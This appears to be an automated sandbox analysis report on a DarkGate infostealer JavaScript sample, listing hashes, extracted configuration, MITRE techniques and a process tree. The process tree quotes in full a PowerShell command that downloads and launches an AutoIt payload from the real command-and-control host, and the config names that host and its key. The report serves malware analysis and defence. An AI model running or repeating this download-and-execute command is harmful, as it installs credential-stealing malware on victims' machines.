darkgate | 21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c

Analysis

max time kernel
91s
max time network
160s
platform
windows10-2004_x64
resource
win10v2004-20231020-en
resource tags

arch:x64arch:x86image:win10v2004-20231020-enlocale:en-usos:windows10-2004-x64system
submitted
25/10/2023, 17:27

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General

Target
1b2bfebd6093d8d95a03b4f732f89903ae6f828b292ab5765d0091b1.js
Size 135KB
Sample231025-v1eynsda29
SHA256 21d51086d7aa99d7d96a5e9aa196da720fcf526fbe2421972e1c3555bb84fc8c
MD5 a509ba7ed20b627448a220c2924d3a07
SHA1 4b2cc002217a95e42fa0d7b49ef5688ca186e74f
SHA512 9bfb1c14168d4ed73a6bd01eee819939676c412c0e3729d455b3f63df1eefa7607ddc5074ac69123b17660d2264343dd8afed089f123b6cf41c742bd681ec544
SSDEEP 1536:BZUTSCM9Cfq7u02PmUVdGXjXl4xc5KTPBoMqS7j8frPWgtZPnCUQrNgZnFFQE/0m:0T9U7hgaX6eerjqlI2IO6MzqfJAl
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

darkgate ads5 stealer

Malware Config

Extracted

Family

darkgate

Botnet

ADS5

http://sftp.bitepieces.com

Attributes

alternative_c2_port
8080
anti_analysis
true
anti_debug
true
anti_vm
true
c2_port
443
check_disk
true
check_ram
true
check_xeon
true
crypter_au3
false
crypter_dll
false
crypter_rawstub
true
crypto_key
ibUsJJzrDXJckq
internal_mutex
txtMut
minimum_disk
40
minimum_ram
7000
ping_interval
4
rootkit
true
startup_persistence
true
username
ADS5

Signatures

DarkGate
DarkGate is an infostealer written in C++.
stealer darkgate

Blocklisted process makes network request 2 IoCs

flow	pid	Process
11	4396	powershell.exe
31	4396	powershell.exe

Downloads MZ/PE file

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1873812795-1433807462-1429862679-1000\Control Panel\International\Geo\Nation	wscript.exe

Executes dropped EXE 1 IoCs

pid	Process
4228	AutoIt3.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	AutoIt3.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AutoIt3.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4396	powershell.exe
4396	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4396	powershell.exe

Suspicious use of WriteProcessMemory 5 IoCs

description	pid	Process	procid_target
PID 1952 wrote to memory of 4396	1952	wscript.exe	86
PID 1952 wrote to memory of 4396	1952	wscript.exe	86
PID 4396 wrote to memory of 4228	4396	powershell.exe	92
PID 4396 wrote to memory of 4228	4396	powershell.exe	92
PID 4396 wrote to memory of 4228	4396	powershell.exe	92

C:\Windows\system32\wscript.exe
wscript.exe C:\Users\Admin\AppData\Local\Temp\1b2bfebd6093d8d95a03b4f732f89903ae6f828b292ab5765d0091b1.js
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1952
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command ni 'C:/temp' -Type Directory -Force;cd 'C:/temp'; Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443' -OutFile 'AutoIt3.exe' -UserAgent 'curl/7.68.0';Invoke-WebRequest -Uri 'http://sftp.bitepieces.com:443/msirzskfhle' -OutFile 'rzskfhle.au3' -UserAgent 'curl/7.68.0';start 'AutoIt3.exe' -a 'rzskfhle.au3'"
  2⤵
  - Blocklisted process makes network request
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:4396
- - C:\temp\AutoIt3.exe
    "C:\temp\AutoIt3.exe" rzskfhle.au3
    3⤵
    - Executes dropped EXE
    - Checks processor information in registry
    PID:4228

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_zcvgz2d4.2lh.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_zcvgz2d4.2lh.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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AutoIt3.exe

Path C:\temp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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AutoIt3.exe

Path C:\temp\AutoIt3.exe
Size 872KB
SHA256 237d1bca6e056df5bb16a1216a434634109478f882d3b1d58344c801d184f95d
MD5 c56b5f0201a3b3de53e561fe76912bfd
SHA1 2a4062e10a5de813f5688221dbeb3f3ff33eb417
SHA512 195b98245bb820085ae9203cdb6d470b749d1f228908093e8606453b027b7d7681ccd7952e30c2f5dd40f8f0b999ccfc60ebb03419b574c08de6816e75710d2c
SSDEEP 12288:6pVWeOV7GtINsegA/hMyyzlcqikvAfcN9b2MyZa31twoPTdFxgawV2M01:6T3E53Myyzl0hMf1tr7Caw8M01
MD5 SHA1 SHA512 SSDEEP

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rzskfhle.au3

Path C:\temp\rzskfhle.au3
Size 491KB
SHA256 12c7dd3161640f5af1537967c94898fb93d99fa94be14cf747ea1ff46b3ca7b0
MD5 57372288639ec408a9890ffe00116d10
SHA1 fa10fa3001c32f0baf65ed0a65d71178f195194a
SHA512 dce848abde4a2ff48738f1f793835edf9672a00dff917010f3f54a24d9ca86efcb890ff14c2398f96fd2ca178821cd829a6f1977d2a8263e9208f7ad4dc53563
SSDEEP 12288:iM1vt85AuhWPko0RWr41NRNfc8BEjxgCpNZD:hP85PhW8o0RWr4LfZBEjxFpNZD
MD5 SHA1 SHA512 SSDEEP

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memory/4228-30-0x0000000001440000-0x0000000001840000-memory.dmp

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memory/4228-31-0x0000000004590000-0x00000000048BA000-memory.dmp

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memory/4228-32-0x0000000004590000-0x00000000048BA000-memory.dmp

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memory/4396-11-0x0000014125F80000-0x0000014125F90000-memory.dmp

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memory/4396-10-0x00007FFA7D9F0000-0x00007FFA7E4B1000-memory.dmp

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memory/4396-13-0x0000014125F80000-0x0000014125F90000-memory.dmp

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memory/4396-12-0x0000014125F80000-0x0000014125F90000-memory.dmp

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memory/4396-27-0x00007FFA7D9F0000-0x00007FFA7E4B1000-memory.dmp

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memory/4396-0-0x0000014140510000-0x0000014140532000-memory.dmp

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